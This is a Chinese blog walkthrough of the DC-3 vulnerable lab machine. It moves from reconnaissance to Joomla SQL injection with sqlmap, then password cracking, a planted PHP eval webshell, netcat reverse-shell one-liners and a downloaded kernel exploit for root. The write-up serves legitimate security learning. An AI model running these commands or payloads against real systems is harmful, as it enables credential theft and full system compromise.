靶机所需环境
- 目标靶机:DC-3(192.168.160.167)
- 攻击机:Kali Linux(192.168.160.156)
信息收集
- 还是老样子,先探测同网段下的存活主机,如果没有该主机可能是因为没有设置为Nat模式,靶机默认为桥接模式,抱歉,之前忘记说下这个事情,勿怪😂;
arp-scan -l
- 接下来对靶机进行扫描,查看开放的端口及其服务信息;
nmap -sV 192.168.160.167
- 发现只开放了一个80端口,尝试访问;
- 访问是个登录框,扫描一下其他目录,看能否有其他信息;
dirb http://192.168.160.167/
- 上面扫描发现存在一个管理员目录,尝试访问;
Joomla模板
- 还是一个登录框,但是值得注意的是这个标题———Joomla,不懂就问,Joomla是什么呢?
知识小拓展1
Joomla是一套全球知名的内容管理系统即JoomlaCMS(Content Management System, CMS),是网站的一个基础管理平台。Joomla使用PHP语言加上MySQL数据库所开发的软件系统,最新版本是4.2.8,可以在Linux、 Windows、MacOSX等各种不同的平台上执行;
- 可见该靶机内容管理系统使用的是Joomla模板,查看Joomla版本,同时也看到了该管理员目录;
漏洞利用
- 搜索一下该版本的漏洞,看看有什么可利用的;
searchsploit joomla 3.7.0
- 查看对应版本的文件位置并将其复制到当前目录;
searchsploit -p php/webapps/42033.txt
- 查看文件,发现是sqlmap命令,不会吧不会吧居然还有人没有😜sqlmap;
查询数据库
- 执行sqlmap命令查询数据库;
sqlmap -u "http://靶机IP/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -dbs -p list[fullordering]
查询表
- 由于是Joomla模板,猜测是Joomladb数据库,查看该数据库里表;
sqlmap -u "http://靶机IP/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]
查询字段
- 查看#_user表里字段名;
sqlmap -u "http://靶机IP/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
查询用户名和密码
- 查看用户和密码;
sqlmap -u "http://靶机IP/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump -p list[fullordering]
- 将密码复制到新建的
joomla.txt
里,使用john
工具进行密码破解;
用户: admin 密码: snoopy
知识小拓展2
第一次使用
john
时正常打印结果;
第二次使用john
命令时不会输出结果,可使用--show
参数打印上一次的结果;
一句话木马
- 输入账号密码成功登录后台,点击DC-3查看信息;
- 大概意思是告诉我们需要提升至root权限;
- 既然是提权,首先想到了一句话木马,尝试寻找可能存在写文件或者上传文件的地方,发现有个可以进行编辑的模板;
- 随便点击一篇内容进行发现有个
new file
可以进行文件编辑,找到编辑文件目录;
http://靶机IP/templates/beez3/html/
- 创建一句话
shell.php
文件;
- 记得写好后保存并关闭;
内容如下:
<?php @eval($_POST['a']); ?>
- 访问文件并复制路径;
蚁剑连接
- 粘贴路径进行连接,密码为a;
- kali开启监听1234端口;
- 打开虚拟终端,查看权限确实是普通用户,执行
方法一
命令以反弹shell,如-e
参数无法使用则执行方法二
命令;
方法一: nc -e /bin/bash + kali机IP + 监听端口
方法二: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc + kali机IP + 监听端口 >/tmp/f
- 查看kali机成功反弹shell;
- 通过之前信息收集可知道该靶机系统为Ubuntu 16.04版本,搜索该版本可利用文件;
- 查看文件路径并复制到当前目录;
- 查看文件,发现EXP下载链接;
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
-
下载,由于是国外网站下载会比较慢或下载失败等问题,这里提供了EXP资源;
网盘链接:https://pan.baidu.com/s/1V8ja7TTD41Kz5hy-F5K1EA?pwd=9mla
提取码:9mla -
下载好后复制到kali机root目录下,开启http服务将文件传输到靶机上;
pyhton2 -m SimpleHTPserver 1080
- 靶机执行命令进行下载;
wget http://kali机IP:1080/39772.zip
权限提升
- 下载后进行全部解压,进入文件夹解压要使用到的exp文件;
- 解压后进入
exp
目录,执行sh
文件此时生成一个doubleput
可执行文件,接着执行该文件成功提升至root权限;
上一篇 > DC-2靶机渗透测试
下一篇 > DC-4靶机渗透测试
以上内容就是DC-3靶机渗透测试的全过程,如有还不太理解或有其他想法的小伙伴们都可以私信我或评论区打出来哟,如有写的不好的地方也请大家多多包涵一下,我也会慢慢去改进和提高的,请各位小伙伴多多支持,走之前别忘了点个赞哟😁!
以上内容仅供学习参考使用,切勿用于非法用途,切勿用于非法用途,切勿用于非法用途!!!重要的事情说三遍